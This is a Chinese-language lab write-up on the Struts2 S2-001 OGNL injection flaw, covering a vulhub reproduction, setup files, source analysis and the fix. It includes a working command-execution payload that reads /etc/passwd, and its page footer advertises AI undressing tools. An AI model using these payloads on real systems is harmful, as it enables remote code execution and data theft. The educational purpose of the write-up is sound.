struts2漏洞 S2-001實例分析
Vulhub漏洞系列:struts2漏洞S2-001
1.漏洞描述:
struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。
2.vulhub漏洞利用:
用vulhub複現漏洞可以省去環境的建構過程,相當方便。
vulhub官網位址:https://vulhub.org
啟動漏洞環境。
docker-compsoe up -d
輸入測試的payload
%{1+1}
可以看到我們的加法表達式成功執行了。
這次我們試試看指令執行,new java.lang.String[ {"cat","/etc/passwd"} 在這裡更改我們想要執行的命令。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功的讀取到了passwd檔。
下面給出三條利用語句:
取得tomcat路徑 |
---|
%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"} |
#取得web路徑 |
---|
3.搭建环境
平台:win10
工具:Apache Tomcat 9.0.7,IntelliJ IDEA
下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。
这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。
目录结构如下。
需要如下几个包,下载地址:
http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。
接着发布我们导入的jar包,不然会报错。
接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list> </web-app>
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h3>S2-001 Demo</h3> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
LoginAction.java
package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
src目录下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package> </struts>
4.原理分析
漏洞部分代码
xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } }
运行我们搭建好的环境,记得开启debug模式
password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)
expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。
然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。
在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}
然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。
然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。
在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。
不是OGNL表达式时就会进入
5.漏洞修复
判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。
也就不会对用户提交的参数进行ongl解析
if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; }
6.OGNL表达式
这里搬运大佬总结好的东西。
OGNL 是Object-Graph Navigation Language 的縮寫,它是一種強大的表達式語言(Expression Language,簡稱為EL),透過它簡單一致的表達式語法,可以存取物件的任意屬性,調用物件的方法,遍歷整個物件的結構圖,實現字段類型轉換等功能。它使用相同的表達式去訪問物件的屬性。 OGNL 三要素:(以下部分摘抄互聯網某處, 我覺得說得好)
1、表達式(Expression)
#表達式是整個OGNL 的核心,所有的OGNL 操作都是針對表達式的解析後進行的。表達式會規定此次 OGNL 操作到底要做什麼。我們可以看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或 department 中的 name 的值。 OGNL 支援很多類型的表達式,之後我們會看到更多。
2、根物件(Root Object)
根物件可以理解為 OGNL 的操作物件。在表達式規定了 「幹什麼」 以後,你還需要指定到底「對誰幹」。在上面的測試程式碼中,user 就是根物件。這就意味著,我們需要對 user 這個物件去取 name 這個屬性的值(對 user 這個物件去設定其中的 department 中的 name 屬性值)。
3、上下文環境(Context)
有了表達式和根對象,我們實際上已經可以使用 OGNL 的基本功能。例如,根據表達式對根物件進行取值或設值工作。不過實際上,在 OGNL 的內部,所有的操作都會在特定的環境中運行,而這個環境就是 OGNL 的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定 OGNL 的操作 「在哪裡幹」。
OGN L 的上下文環境是一個 Map 結構,稱為 OgnlContext。上面我們提到的根物件(Root
Object),事實上也會被加入到上下文環境中去,並且這將作為一個特殊的變數進行處理,具體就表現為針對根物件(Root
Object)的存取操作的表達式是不需要增加#符號進行區分的。
#表達式功能操作清單: |
---|
1.基本物件樹的存取 物件樹的存取就是透過使用點號將物件的參考串連起來進行。 例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對容器變數的存取 對容器變數的訪問,透過#符號加上表達式進行。 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號 OGNL表達式中能使用的操作符基本上跟Java裡的操作符一樣,除了能使用, -, *, /, , --, ==, !=, = 等運算子之外,還能使用mod, in, not in等。 4. 容器、陣列、物件 OGNL支援對陣列和ArrayList等容器的順序存取:例如:group.users[0] 同時,OGNL支援對Map的按鍵值查找: 例如:# session['mySessionPropKey'] 不僅如此,OGNL也支援容器的建構的表達式: 例如:{"green", "red", "blue"}建構一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}建構一個Map 你也可以透過任意類別物件的建構子進行物件新建 例如:new Java.net.URL ("xxxxxx/")5. 對靜態方法或變數的存取 要引用類別的靜態方法和字段,他們的表達方式是一樣的@class@member或@class@method(args):6. 方法呼叫 直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞參數: 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7.投影和選擇 OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。 投影就是選出**中每個元素的相同屬性組成新的**,類似於關聯式資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個**中每個元素的公共屬性。 例如:group.userList.{username}將會取得某個group中的所有user的name的清單。 選擇就是過濾符合selection 條件的**元素,類似關聯式資料庫的紀錄運算。選擇操作的語法為:collection.{X YYY},其中X 是選擇運算符,後面則是選擇用的邏輯表達式。而選擇操作符有三種: ? 選擇所有滿足條件的元素 ^ 選擇滿足條件的第一個元素 $ 選擇滿足條件的最後一個元素 例如:group.userList.{ ? #txxx.xxx != null}將取得某個group中user的name不為空的user的清單。 |
以上是struts2漏洞 S2-001實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

熱門話題

一、前言Struts2漏洞是一個經典的漏洞系列,根源在於Struts2引入了OGNL表達式使得框架具有靈活的動態性。隨著整體框架的修補程式完善,現在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復了歷史的高風險漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰運氣,或是打到內網之後用來攻擊沒修補的系統會比較有效。網路上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的部分工作是維護ips產品的規則庫,今天回顧這個系

Struts2框架的原理:1、攔截器解析請求路徑;2、找出Action的完整類別名稱;3、建立Action物件;4、執行Action方法;5、返回結果;6、視圖解析。它原理基於攔截器的機制,使得業務邏輯控制器與Servlet API完全脫離開,提高了程式碼的可重複使用性和可維護性。透過使用反射機制,Struts2框架可以靈活地建立和管理Action對象,實現請求與回應的處理。

Vulhub漏洞系列:struts2漏洞S2-0011.漏洞描述:struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。 2.vulhub漏洞利用:用vulhub復現漏洞可以省去環境的搭建過程,相當方便。 vu

0x00簡介Struts2是Apache軟體組織推出的一個相當強大的JavaWeb開源框架,本質上相當於一個servlet。 Struts2基於MVC架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的資料交互,用於創建企業級Javaweb應用程序,它利用並延伸了JavaServletAPI,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。 0x01漏洞

前言2018年8月22日,ApacheStrust2發布最新安全公告,ApacheStruts2存在遠端程式碼執行的高風險漏洞(S2-057/CVE-2018-11776),該漏洞由SemmleSecurityResearchteam的安全研究員ManYueMo發現。此漏洞是由於在Struts2開發框架中使用namespace功能定義XML配置時,namespace值未被設定且在上層動作配置(ActionConfiguration)中未設定或以通配符namespace,可能導致遠端程式碼執行。同理,u

0x00簡介Struts2框架是一個用於開發JavaEE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了JavaServletAPI,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。 0x01漏洞概述ApacheStruts22.3.x系列啟用了struts2-struts1-plugin插件並且存在struts2-showcase目錄,其漏洞成因是當ActionMe

1.概述Struts是Apache軟體基金會(ASF)贊助的開源專案。它最初是Jakarta項目中的一個子項目,後來成為ASF的頂級項目。它透過採用JavaServlet/JSP技術,實現了基於JavaEEWeb應用的Model-View-Controller〔MVC]設計模式的應用框架〔WebFramework〕,是MVC經典設計模式中的一個經典產品。在JavaEE的Web應用發展的初期,除了使用Servlet技術以外,普遍是在JavaServerPages(JSP)的原始碼中,採用HTM

目前,Apache官方已經發布了版本更新修復了漏洞。建議使用者及時確認ApacheStruts產品版本,如受影響,請及時採取修補措施。一、漏洞介紹ApacheStruts2是美國阿帕契(Apache)軟體基金會下屬的Jakarta專案中的子項目,是基於MVC設計的Web應用架構。 2018年8月22日,Apache官方發布了ApacheStruts2S2-057安全漏洞(CNNVD-201808-740、CVE-2018-11776)。當在struts2開發框架中啟用泛namespace功
